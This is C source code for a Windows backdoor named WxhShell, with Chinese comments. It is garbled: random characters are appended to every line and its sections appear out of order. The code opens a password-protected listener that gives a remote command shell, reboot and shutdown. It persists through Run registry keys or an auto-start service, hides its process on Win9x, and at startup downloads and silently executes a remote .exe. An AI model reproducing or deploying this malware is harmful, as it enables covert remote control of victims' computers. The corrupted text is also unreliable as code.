DWORD AffinityMask; pvL)BD
DWORD BasePriority; )N[9r{3
ULONG UniqueProcessId; ]v=*WK
ULONG InheritedFromUniqueProcessId; X._skq
} PROCESS_BASIC_INFORMATION; 0$)CWah
2e_ssBbb
PROCNTQSIP NtQueryInformationProcess; WP)r5;Hv`
06@^knm
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oBZ\mk L
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .?7u'%6x?{
=zw=Jp
HANDLE hProcess; yOKpi&! r
PROCESS_BASIC_INFORMATION pbi; VwfeaDJw
)eFXjnHN
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #clOpyT*
if(NULL == hInst ) return 0; Jt79M(Hp!
; MU8@?yN
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C[f'1O7
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DG&
({vy
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (XtN3FTY
eQh@.U*S)
if (!NtQueryInformationProcess) return 0; ]IbX<
{"Xn`@Y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I&9_F%rX
if(!hProcess) return 0; "YU<CO;4VV
"`P/j+-rt
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `#O%ZZ+
ML6Y_|6
|
CloseHandle(hProcess); H;('h#=cD
U5 X\RXy~
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *1FDK{
if(hProcess==NULL) return 0; ^%(HZ'$wC
f681i(q"
HMODULE hMod; (S1c6~
char procName[255]; on?<3eED
unsigned long cbNeeded; +/u)/ey
E`#m0Q(8
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RL Beti>
Z05kn{<a8
CloseHandle(hProcess); <9zzjgzG{c
*&$J.KM
if(strstr(procName,"services")) return 1; // 以服务启动 %UIR GI
r)Q/YzXx*
return 0; // 注册表启动 |C:^BWrU*
} y
%R-Oc
O@*7O~eO
// 主模块 vW`Dy8`06
int StartWxhshell(LPSTR lpCmdLine) "B18|#v
{ Leg)q7n
SOCKET wsl; >uVo'S.
BOOL val=TRUE; \G}02h
int port=0; 0#\K9|.
struct sockaddr_in door; i?+ZrAx>
cd_\?7
if(wscfg.ws_autoins) Install(); JbT+w\o
#2*l"3.$.R
port=atoi(lpCmdLine); P2HR4`c
CPJ8G}4
if(port<=0) port=wscfg.ws_port; 9a\H+Y~
Ziclw)
WSADATA data; Swugt"`nN
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f
uzz3#
)`,||sQ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; OIi8x?
.~]
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bv %Bo4s
door.sin_family = AF_INET; yVF1*#"
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~Mk{2;x
door.sin_port = htons(port); B4tC3r
F"p7&e\W|l
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .3xpDVW^e
closesocket(wsl); &BF97%E2
return 1; :bBLP7eyV
} JmMB=}
<
Xe ;Eu
if(listen(wsl,2) == INVALID_SOCKET) { MNC=r?
closesocket(wsl); QaAA@l
return 1; 0r<?Ve
} 4:umD*d 3E
Wxhshell(wsl); hw2'.}B"(
WSACleanup(); 6I)[6R
0tA~Y26
return 0; ?vA)F)MS
@#HB6B
} 9jwcO)p^
Ej_ >*^b
// 以NT服务方式启动 .bdp=vbA
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) irjOGn
{ Z;=h=
DWORD status = 0; ;v#BguM
DWORD specificError = 0xfffffff; |nOqy&B
;Dh\2! sr
serviceStatus.dwServiceType = SERVICE_WIN32; '3%J hG)#
serviceStatus.dwCurrentState = SERVICE_START_PENDING; l=|>9,La
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }%8 :8_Ke
serviceStatus.dwWin32ExitCode = 0; @=
E~`
serviceStatus.dwServiceSpecificExitCode = 0; G909R>
serviceStatus.dwCheckPoint = 0; e>F i
serviceStatus.dwWaitHint = 0; g`7C1&U*T
,W8EU
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %@L[=\
9
if (hServiceStatusHandle==0) return; B#Q` !B4v
ar&j1""
status = GetLastError(); }-Ds%L
if (status!=NO_ERROR) `efC4#*!!
{ fyt ODsb>
serviceStatus.dwCurrentState = SERVICE_STOPPED; n>t&l8g%g
serviceStatus.dwCheckPoint = 0; ni2GZ<1j
serviceStatus.dwWaitHint = 0; q fc:%ks2
serviceStatus.dwWin32ExitCode = status; ye<b`bL2.
serviceStatus.dwServiceSpecificExitCode = specificError; GtuA94=!V&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); bEQy5AX
return; %rFR:w`{
} )2z<5 `
&7\=Jw7w
serviceStatus.dwCurrentState = SERVICE_RUNNING; wDQ@$T^vh
serviceStatus.dwCheckPoint = 0; #}PQ !gZ
serviceStatus.dwWaitHint = 0; Q,ezAE
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^`~s#L7
} k kZ2Jxvx
UWW^g@d4
// 处理NT服务事件,比如:启动、停止 uBp,_V?
VOID WINAPI NTServiceHandler(DWORD fdwControl) <mrvuWg0
{ .2Q4EbM2
switch(fdwControl) W)X" G3
{ #!0=I
s^
case SERVICE_CONTROL_STOP: N>TmaUk
serviceStatus.dwWin32ExitCode = 0; YYE{zU
serviceStatus.dwCurrentState = SERVICE_STOPPED; xNrPj8V<Y
serviceStatus.dwCheckPoint = 0; /M :7
serviceStatus.dwWaitHint = 0; qw?Wi%t(x8
{ uI9eUO
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `e`}dgf0S|
} Vjdu9Ez
return; '2S/FOb
case SERVICE_CONTROL_PAUSE: 6N49q-.Lg
serviceStatus.dwCurrentState = SERVICE_PAUSED; TdU'L:<4l
break; c>|1%}"?
case SERVICE_CONTROL_CONTINUE: cp:U@Nh(
serviceStatus.dwCurrentState = SERVICE_RUNNING; 40e(p/Qka
break; "|Ke/0rGB
case SERVICE_CONTROL_INTERROGATE: f};RtRo2
break; _2-fH
}; Z bW!c1s{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); bcR";cE
} adcH3rV
x/pX?k
// 标准应用程序主函数 B_uhNLd
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /~(T[\E<
{ ~hZr1hT6L
exZgk2[0
// 获取操作系统版本 2jVvK"C
OsIsNt=GetOsVer(); H9\,;kM)
GetModuleFileName(NULL,ExeFile,MAX_PATH); "u.'JE;j
D_N0j{E
// 从命令行安装 I[6ft_*
if(strpbrk(lpCmdLine,"iI")) Install(); w4Uo-zr@
h]Y,gya[yk
// 下载执行文件 +C}s"qrb@
if(wscfg.ws_downexe) { 9xN`
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `@<~VWe5
WinExec(wscfg.ws_filenam,SW_HIDE); dc dVB>D
} &wX568o
Ia[4P8Z
if(!OsIsNt) { \wKnX]xGf
// 如果时win9x,隐藏进程并且设置为注册表启动 $$
9!4
HideProc(); p
uZY4}b_
StartWxhshell(lpCmdLine); q)l1tC72
} d[\$a4G+
else <Fi*wV
if(StartFromService()) |2Y/l~
// 以服务方式启动 E5$Fhc
StartServiceCtrlDispatcher(DispatchTable); [t6Y,yo&h4
else _,<@II
// 普通方式启动 [Ot<8)Jm
StartWxhshell(lpCmdLine); &s(mbpV
c(kYCVc
return 0; 8 7z]qE
} j0b>n#e7
kt#t-N;}x
8U%y[2sT
+h)1NX;o1
=========================================== U]]ON6Y&F
ae#Qeow`
6J]8BHJn+
?$ Dc>
jK]An;l{Z
xV0:K=
" &R))c|>OT&
/ M@[ 8
#include <stdio.h> FfX*bqy
#include <string.h> NI:3hfs
#include <windows.h> YO9ofT
#include <winsock2.h> C"0vMUZ
#include <winsvc.h> K8JshFIe
#include <urlmon.h> 5^97#;Q;J"
,_UTeW6M
#pragma comment (lib, "Ws2_32.lib") 1{<r~
#pragma comment (lib, "urlmon.lib") +w2 `
l*z+<c6$_
#define MAX_USER 100 // 最大客户端连接数 KJ 7-Vl>
#define BUF_SOCK 200 // sock buffer `)tIXMn
#define KEY_BUFF 255 // 输入 buffer \ 62!{
d3]<'B:nb
#define REBOOT 0 // 重启 Ftdx+\O_i&
#define SHUTDOWN 1 // 关机 p=[SDk`
tH(g;flO)
#define DEF_PORT 5000 // 监听端口 cl'wQ1<:
Ie[DTy
#define REG_LEN 16 // 注册表键长度 [7\x(W-:@>
#define SVC_LEN 80 // NT服务名长度 Mt*V-`+\
b(Yxsy{U
// 从dll定义API S"/-)_{
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6@x^,SA
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ae;mU[MK/
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vO)]~AiB
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L%<DLe^P`l
GvBmh .
// wxhshell配置信息 @Hl+]arUh
struct WSCFG { d5"rCd[
int ws_port; // 监听端口
T|2v1Vj
char ws_passstr[REG_LEN]; // 口令 (sSGJS'X
int ws_autoins; // 安装标记, 1=yes 0=no $>zqCi2tB<
char ws_regname[REG_LEN]; // 注册表键名 AqT}^fS
char ws_svcname[REG_LEN]; // 服务名 Khh}flRy
char ws_svcdisp[SVC_LEN]; // 服务显示名 t[ZGY,8
char ws_svcdesc[SVC_LEN]; // 服务描述信息 y" |gC!V}
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0 _N.s5~N
int ws_downexe; // 下载执行标记, 1=yes 0=no :eH\9$F`x;
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4>Y*owa4
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Nj.;mr<
l(HxZlHr
}; TU*Y?D
L
j XYr&F
// default Wxhshell configuration 3a'#Z4Z-
struct WSCFG wscfg={DEF_PORT, pV`/6
}
"xuhuanlingzhe", '?6j.ms
M
1, Mzw:c#
"Wxhshell", m86ztP)
"Wxhshell", F#~*j
"WxhShell Service", ?1**@E0
"Wrsky Windows CmdShell Service", 'A9Z ((
"Please Input Your Password: ", >IipWTVo<
1, 7M~/[f7Z{
"http://www.wrsky.com/wxhshell.exe", pM~-o?
"Wxhshell.exe" |'j,|^<
}; }nptmc
('2Z&5
// 消息定义模块 DUwms"I,%
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (o^?i2)g
char *msg_ws_prompt="\n\r? for help\n\r#>"; !gcea?I
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @SI,V8i
char *msg_ws_ext="\n\rExit."; !R![:T\,
char *msg_ws_end="\n\rQuit.";
WtC&Qyuq
char *msg_ws_boot="\n\rReboot..."; ]_`ICS
char *msg_ws_poff="\n\rShutdown..."; YRCOh:W*
char *msg_ws_down="\n\rSave to "; RN$>!b/
6m@B.+1
char *msg_ws_err="\n\rErr!"; Ed+jSO0
char *msg_ws_ok="\n\rOK!"; 6),!sO?
g""Ep
char ExeFile[MAX_PATH]; B}J0d
int nUser = 0; J06D_'{
HANDLE handles[MAX_USER]; yG;@S8zC
int OsIsNt; I]%Kd('
ltKMvGEF
SERVICE_STATUS serviceStatus; EeGTBVms
SERVICE_STATUS_HANDLE hServiceStatusHandle; _j*a5fsPU
:x3xeVtY
// 函数声明 i0Rj;E=:]
int Install(void); $&&+2?cx0
int Uninstall(void); P26"z))~d
int DownloadFile(char *sURL, SOCKET wsh); `fE'$2
int Boot(int flag); i1K$~
void HideProc(void); f`iDF+h<6
int GetOsVer(void); !JBj%| !
int Wxhshell(SOCKET wsl); u'^kpr`y
void TalkWithClient(void *cs); MY^o0N
int CmdShell(SOCKET sock); ;0`IFtz
int StartFromService(void); >I',%v\?@
int StartWxhshell(LPSTR lpCmdLine); LQR^lD+_=
=&<d4'(Qk
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /&9R*xNST#
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JIsi
IG:2<G
// 数据结构和表定义 \Yn0|j>
SERVICE_TABLE_ENTRY DispatchTable[] = 5~d=,;yE
{ pK ^$^*#
{wscfg.ws_svcname, NTServiceMain}, zRgAmX/g
{NULL, NULL} r7^v@
}; L2wX?NA
R\<d&+q@
// 自我安装 XM#nb$gl
int Install(void) ]^Xj!01~
{ T=RabKVYP
char svExeFile[MAX_PATH]; qFl|q0\ A
HKEY key; M%g2UP
strcpy(svExeFile,ExeFile); X3~`~J
B4 5#-V
// 如果是win9x系统,修改注册表设为自启动 Ug384RzHN
if(!OsIsNt) { BO8?{~i
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [7 NO !^
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QKhGEW~G
RegCloseKey(key);
6Kw?
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +N'&6z0Wf
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z:^ S-h
RegCloseKey(key); 2H`>Kj
return 0; KT17I&:
} R}IuMMx
} Xq<_r^
} FlUO3rc|
else { bkz/V/ Y
+(W7hK4ip
// 如果是NT以上系统,安装为系统服务 ;rNX
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c|Z6p{)V
if (schSCManager!=0) oS}fr?
{ 5"(FilM
SC_HANDLE schService = CreateService abCxB^5VL
( CNhLp#
schSCManager, FGhnK'
wscfg.ws_svcname, A~^x*#q{4
wscfg.ws_svcdisp, bnPhhsR
SERVICE_ALL_ACCESS, "{trK?-8%
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 18p4]:L
SERVICE_AUTO_START, Wc,`L$Jx
SERVICE_ERROR_NORMAL, Z$B%V t
svExeFile, Ypxp4B
NULL, =LgMG^@mu
NULL, s%8,'3&
NULL, 8'NT_NPNb
NULL,
FsQoQ#*
NULL -f1lu*3\
); i r'C(zD=
if (schService!=0) \(&&ed:
{ cmAdQ)(Kzd
CloseServiceHandle(schService); <_]W1V:0
CloseServiceHandle(schSCManager); .$
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strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6{0MprY
strcat(svExeFile,wscfg.ws_svcname); `~=NBN=tiL
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zbGZ\pz
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /8<c~
RegCloseKey(key); S]Di1E^r;_
return 0; U3{4GmrT
} YK5(o KFN
} [=tIgMmz
CloseServiceHandle(schSCManager); {[hgSVN;
} `U|zNizO
} 0cVxP)J+
mIPDF1=)
return 1; $RunGaX!=N
} j(}pUV B
==oJhB
// 自我卸载 )vpYVr-
int Uninstall(void) wQ~]VVRN
{ ggm'9|
HKEY key; lL
50PU
lR9uD9Dr
if(!OsIsNt) { n,LM"N:
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e Qk5:{[
RegDeleteValue(key,wscfg.ws_regname); ?RW1%+[
RegCloseKey(key); DrbjklcUU
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $o9@ ?2
RegDeleteValue(key,wscfg.ws_regname); W BA7G
RegCloseKey(key); ^~6gkS
}
return 0; iq^;c syKb
} Koj9]2<0
} B !wr} ]
} 4%|r$E/TQ
else { n)z:C{
2?v }w<Ydl
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FjLMN{eH/
if (schSCManager!=0) Xr'b{&
{ #K/JU{"
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @1<VvW=
if (schService!=0) VE1j2=3+o
{ 4tx6h<L#s
if(DeleteService(schService)!=0) { }B!io-}
CloseServiceHandle(schService); m(^N8k1K;
CloseServiceHandle(schSCManager); k#7A@Vb
return 0; >oaL -01i
} o^MoU2c
CloseServiceHandle(schService); ZU;jz[}
} zSu,S4m_;
CloseServiceHandle(schSCManager); wXKt)3dm u
} F?0Q AA
} ckv8QAm
[tElt4uG
return 1; ^4Ff8Y
} x8~*+ j
k g Rys
// 从指定url下载文件 OdNcuiLa
int DownloadFile(char *sURL, SOCKET wsh) Zm7,O8
{ Cud!JpL
HRESULT hr; %tZrP$DQ
char seps[]= "/"; X#K;(.},h
char *token; %DA`.Z9#
char *file; 9sd}Z,l
char myURL[MAX_PATH]; l4(FM}0X5}
char myFILE[MAX_PATH]; &-X51O C
8xG"hJR
strcpy(myURL,sURL); [Fv,`*/sm
token=strtok(myURL,seps); 8.7q
-<Q
while(token!=NULL) !^v~hD$_q
{ 4x3 _8/=
file=token; @A(jo 32
token=strtok(NULL,seps); C5$?Y8B3
} -P&